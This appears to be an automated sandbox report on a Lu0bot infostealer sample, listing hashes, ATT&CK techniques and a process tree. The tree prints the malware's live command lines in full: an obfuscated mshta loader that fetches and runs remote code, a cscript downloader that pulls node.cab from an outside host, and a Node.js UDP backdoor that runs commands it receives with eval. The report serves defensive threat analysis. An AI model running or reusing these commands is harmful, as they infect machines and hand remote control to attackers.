lu0bot | 9db5c02ac4e161369160fe13719a212e55377dd57ffc9f98b7141bce3b9df26c

Analysis

max time kernel
150s
max time network
147s
platform
windows10_x64
resource
win10v20210410
submitted
11-07-2021 14:17

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General

Target

usfive_20210711-154344.exe
Size

3KB
MD5

15467567c301ef6ae8b98d4fafb6db67
SHA1

9884574ad77b49580ab14047342b4580324cb6ee
SHA256

9db5c02ac4e161369160fe13719a212e55377dd57ffc9f98b7141bce3b9df26c
SHA512

5b3d68e59a908312a8e009d2b6ec4af06be67ee7a762d996ed914de9c00bf5edd57dd38f8eaac52bff5ff8a42e7760b7503b517c671bffc37bb55327b37382b1

Score

10^/10

lu0bot discovery stealer trojan

Malware Config

Signatures

Lu0bot
Lu0bot is a lightweight infostealer written in NodeJS.
trojan stealer lu0bot

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	1064	mshta.exe
12	2676	cscript.exe

Executes dropped EXE 1 IoCs

pid	Process
3892	node.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2296	icacls.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\DPX\setupact.log	expand.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	expand.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
3972	tasklist.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command-Line Interface

T1059

pid	Process
3860	ipconfig.exe
2832	netstat.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3872	systeminfo.exe

NTFS ADS 2 IoCs

description	ioc	Process
File created	C:\ProgramData\DNTException\node.exe:57c4e33953953e94fd795b2da04ebece	node.exe
File created	C:\Users\Admin\AppData\Local\Temp\dfa26b453f280bb0:ads	node.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	8	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	12	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3892	node.exe
3892	node.exe
3892	node.exe
3892	node.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	3972	tasklist.exe
Token: SeIncreaseQuotaPrivilege	2544	wmic.exe
Token: SeSecurityPrivilege	2544	wmic.exe
Token: SeTakeOwnershipPrivilege	2544	wmic.exe
Token: SeLoadDriverPrivilege	2544	wmic.exe
Token: SeSystemProfilePrivilege	2544	wmic.exe
Token: SeSystemtimePrivilege	2544	wmic.exe
Token: SeProfSingleProcessPrivilege	2544	wmic.exe
Token: SeIncBasePriorityPrivilege	2544	wmic.exe
Token: SeCreatePagefilePrivilege	2544	wmic.exe
Token: SeBackupPrivilege	2544	wmic.exe
Token: SeRestorePrivilege	2544	wmic.exe
Token: SeShutdownPrivilege	2544	wmic.exe
Token: SeDebugPrivilege	2544	wmic.exe
Token: SeSystemEnvironmentPrivilege	2544	wmic.exe
Token: SeRemoteShutdownPrivilege	2544	wmic.exe
Token: SeUndockPrivilege	2544	wmic.exe
Token: SeManageVolumePrivilege	2544	wmic.exe
Token: 33	2544	wmic.exe
Token: 34	2544	wmic.exe
Token: 35	2544	wmic.exe
Token: 36	2544	wmic.exe
Token: SeIncreaseQuotaPrivilege	2544	wmic.exe
Token: SeSecurityPrivilege	2544	wmic.exe
Token: SeTakeOwnershipPrivilege	2544	wmic.exe
Token: SeLoadDriverPrivilege	2544	wmic.exe
Token: SeSystemProfilePrivilege	2544	wmic.exe
Token: SeSystemtimePrivilege	2544	wmic.exe
Token: SeProfSingleProcessPrivilege	2544	wmic.exe
Token: SeIncBasePriorityPrivilege	2544	wmic.exe
Token: SeCreatePagefilePrivilege	2544	wmic.exe
Token: SeBackupPrivilege	2544	wmic.exe
Token: SeRestorePrivilege	2544	wmic.exe
Token: SeShutdownPrivilege	2544	wmic.exe
Token: SeDebugPrivilege	2544	wmic.exe
Token: SeSystemEnvironmentPrivilege	2544	wmic.exe
Token: SeRemoteShutdownPrivilege	2544	wmic.exe
Token: SeUndockPrivilege	2544	wmic.exe
Token: SeManageVolumePrivilege	2544	wmic.exe
Token: 33	2544	wmic.exe
Token: 34	2544	wmic.exe
Token: 35	2544	wmic.exe
Token: 36	2544	wmic.exe
Token: SeDebugPrivilege	2832	netstat.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 3036 wrote to memory of 1064	3036	usfive_20210711-154344.exe	74
PID 3036 wrote to memory of 1064	3036	usfive_20210711-154344.exe	74
PID 3036 wrote to memory of 1064	3036	usfive_20210711-154344.exe	74
PID 1064 wrote to memory of 2380	1064	mshta.exe	77
PID 1064 wrote to memory of 2380	1064	mshta.exe	77
PID 1064 wrote to memory of 2380	1064	mshta.exe	77
PID 2380 wrote to memory of 2676	2380	cmd.exe	79
PID 2380 wrote to memory of 2676	2380	cmd.exe	79
PID 2380 wrote to memory of 2676	2380	cmd.exe	79
PID 2380 wrote to memory of 3476	2380	cmd.exe	80
PID 2380 wrote to memory of 3476	2380	cmd.exe	80
PID 2380 wrote to memory of 3476	2380	cmd.exe	80
PID 2380 wrote to memory of 2124	2380	cmd.exe	81
PID 2380 wrote to memory of 2124	2380	cmd.exe	81
PID 2380 wrote to memory of 2124	2380	cmd.exe	81
PID 2124 wrote to memory of 3892	2124	cscript.exe	82
PID 2124 wrote to memory of 3892	2124	cscript.exe	82
PID 2124 wrote to memory of 3892	2124	cscript.exe	82
PID 3892 wrote to memory of 2704	3892	node.exe	86
PID 3892 wrote to memory of 2704	3892	node.exe	86
PID 3892 wrote to memory of 2704	3892	node.exe	86
PID 3892 wrote to memory of 2812	3892	node.exe	87
PID 3892 wrote to memory of 2812	3892	node.exe	87
PID 3892 wrote to memory of 2812	3892	node.exe	87
PID 3892 wrote to memory of 2296	3892	node.exe	88
PID 3892 wrote to memory of 2296	3892	node.exe	88
PID 3892 wrote to memory of 2296	3892	node.exe	88
PID 3892 wrote to memory of 3568	3892	node.exe	89
PID 3892 wrote to memory of 3568	3892	node.exe	89
PID 3892 wrote to memory of 3568	3892	node.exe	89
PID 3892 wrote to memory of 2808	3892	node.exe	90
PID 3892 wrote to memory of 2808	3892	node.exe	90
PID 3892 wrote to memory of 2808	3892	node.exe	90
PID 3892 wrote to memory of 3972	3892	node.exe	92
PID 3892 wrote to memory of 3972	3892	node.exe	92
PID 3892 wrote to memory of 3972	3892	node.exe	92
PID 3892 wrote to memory of 2544	3892	node.exe	93
PID 3892 wrote to memory of 2544	3892	node.exe	93
PID 3892 wrote to memory of 2544	3892	node.exe	93
PID 3892 wrote to memory of 3860	3892	node.exe	94
PID 3892 wrote to memory of 3860	3892	node.exe	94
PID 3892 wrote to memory of 3860	3892	node.exe	94
PID 3892 wrote to memory of 2080	3892	node.exe	95
PID 3892 wrote to memory of 2080	3892	node.exe	95
PID 3892 wrote to memory of 2080	3892	node.exe	95
PID 3892 wrote to memory of 2832	3892	node.exe	96
PID 3892 wrote to memory of 2832	3892	node.exe	96
PID 3892 wrote to memory of 2832	3892	node.exe	96
PID 3892 wrote to memory of 3872	3892	node.exe	97
PID 3892 wrote to memory of 3872	3892	node.exe	97
PID 3892 wrote to memory of 3872	3892	node.exe	97

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
3568	attrib.exe
2808	attrib.exe

C:\Users\Admin\AppData\Local\Temp\usfive_20210711-154344.exe
"C:\Users\Admin\AppData\Local\Temp\usfive_20210711-154344.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3036
- C:\Windows\SysWOW64\mshta.exe
  mshta "javascript:document.write();184;y=unescape('%325%31%7E%68t%74p%3A%2F%2Fl%751%2Ea%73i%61%2F%68r%69%2F%3F2%31a%36e%34b%7E3%34').split('~');29;try{x='WinHttp';55;x=new ActiveXObject(x+'.'+x+'Request.5.1');187;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);165;x.send();220;y='ipt.S';191;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);204;}catch(e){};30;;window.close();"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:1064
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1626014170483.txt & cscript /nologo /e:jscript get1626014170483.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F29827b969%26b%3Ded373b2d" node.cab & expand node.cab node.exe & del get1626014170483.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1626014170483.txt & cscript /nologo /e:jscript get1626014170483.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%279827b969%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1626014170483.txt
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2380
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1626014170483.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F29827b969%26b%3Ded373b2d" node.cab
      4⤵
      Blocklisted process makes network request
      PID:2676
  - - C:\Windows\SysWOW64\expand.exe
      expand node.cab node.exe
      4⤵
      Drops file in Windows directory
      PID:3476
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1626014170483.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%279827b969%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2124
    - - C:\ProgramData\DNTException\node.exe
        
        "C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%279827b969%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        NTFS ADS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3892
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c dir C:\
        6⤵
        
        PID:2704
      - C:\Windows\SysWOW64\cacls.exe
        
        cacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F
        6⤵
        
        PID:2812
      - C:\Windows\SysWOW64\icacls.exe
        
        icacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)
        6⤵
        Modifies file permissions
        
        PID:2296
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException
        6⤵
        Views/modifies file attributes
        
        PID:3568
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException\node.exe
        6⤵
        Views/modifies file attributes
        
        PID:2808
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /fo csv /nh
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:3972
      - C:\Windows\SysWOW64\Wbem\wmic.exe
        
        wmic process get processid,parentprocessid,name,executablepath /format:csv
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2544
      - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig.exe /all
        6⤵
        Gathers network information
        
        PID:3860
      - C:\Windows\SysWOW64\route.exe
        
        route.exe print
        6⤵
        
        PID:2080
      - C:\Windows\SysWOW64\netstat.exe
        
        netstat.exe -ano
        6⤵
        Gathers network information
        Suspicious use of AdjustPrivilegeToken
        
        PID:2832
      - C:\Windows\SysWOW64\systeminfo.exe
        
        systeminfo.exe /fo csv
        6⤵
        Gathers system information
        
        PID:3872

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Hidden Files and Directories

T1158

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3892-128-0x0000000026D00000-0x0000000026D01000-memory.dmp

Filesize
4KB

Download
memory/3892-125-0x000000003E000000-0x000000003E001000-memory.dmp

Filesize
4KB

Download
memory/3892-129-0x000000000CE00000-0x000000000CE01000-memory.dmp

Filesize
4KB

Download
memory/3892-127-0x0000000005E00000-0x0000000005E01000-memory.dmp

Filesize
4KB

Download
memory/3892-130-0x0000000037300000-0x0000000037301000-memory.dmp

Filesize
4KB

Download
memory/3892-126-0x0000000016900000-0x0000000016901000-memory.dmp

Filesize
4KB

Download